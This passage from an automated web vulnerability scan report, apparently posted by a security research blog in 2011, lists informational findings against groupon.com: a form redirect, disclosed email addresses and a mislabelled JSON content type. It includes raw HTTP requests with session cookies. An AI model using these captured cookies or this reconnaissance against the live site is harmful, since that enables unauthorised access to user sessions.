Proxy-Connection: keep-alive
Referer: http://www.groupon.com/user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622
Cache-Control: max-age=0
Origin: http://www.groupon.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.19.2.1299001244132; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; adchemy_id=; division=san-jose; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874
Content-Length: 165

_method=put&user_profile%5Buser_identity%5D%5Bgender%5D=&user_profile%5Buser_identity%5D%5Bbirth_year%5D=&user_profile%5Buser_identity%5D%5Bzipcode%5D=&commit=Submit

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:48:50 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:48:50 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:48:50 GMT; HttpOnly
Status: 302
Location: http://www.groupon.com/user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622
X-Runtime: 88
Cache-Control: no-cache
Content-Length: 178
Connection: keep-alive

<html><body>You are being <a href="http://www.groupon.com/user_demographics/demographic_form_banner.html?addx=test@fastdial.net&amp;_=1298999611622">redirected</a>.</body></html>

7. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /contact-us

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /contact-us HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.18.2.1299001244132; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:42 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:42 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:42 GMT; HttpOnly
Status: 200
ETag: "f4bef76d1e8d99bfb5a5cc7d791ac08d"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...
<a href="mailto:support@groupon.com">support@groupon.com</a>
...[SNIP]...
<a href="mailto:press@groupon.com">press@groupon.com</a>
...[SNIP]...

8. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.groupon.com
Path:   /deals/pure-barre-los-gatos-1/deal_status.json

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain HTML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /deals/pure-barre-los-gatos-1/deal_status.json HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301
x-requested-with: XMLHttpRequest
content-type: application/x-www-form-urlencoded
accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.9.2.1298999613665; subscriber_email=test%40fastdial.net; adchemy_id=; division=san-jose; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/json; charset=utf-8
Status: 200
ETag: "229722a1959db23513932e874f89324c"
X-Runtime: 15
Cache-Control: max-age=60, public
Age: 36
Date: Tue, 01 Mar 2011 17:18:23 GMT
Expires: Tue, 01 Mar 2011 17:18:47 GMT
Connection: keep-alive
Content-Length: 769

{"deal_day":3,"deal_hour":7,"deal_min":59,"number_sold_container":"\n<table class='status'>\n <tr class=\"sum\"><td class=\"left\"><span class=\"number\">196</span></td><td class=\"right\"> bought</t
...[SNIP]...

Report generated by XSS.CX Research Blog at Tue Mar 01 13:30:57 CST 2011.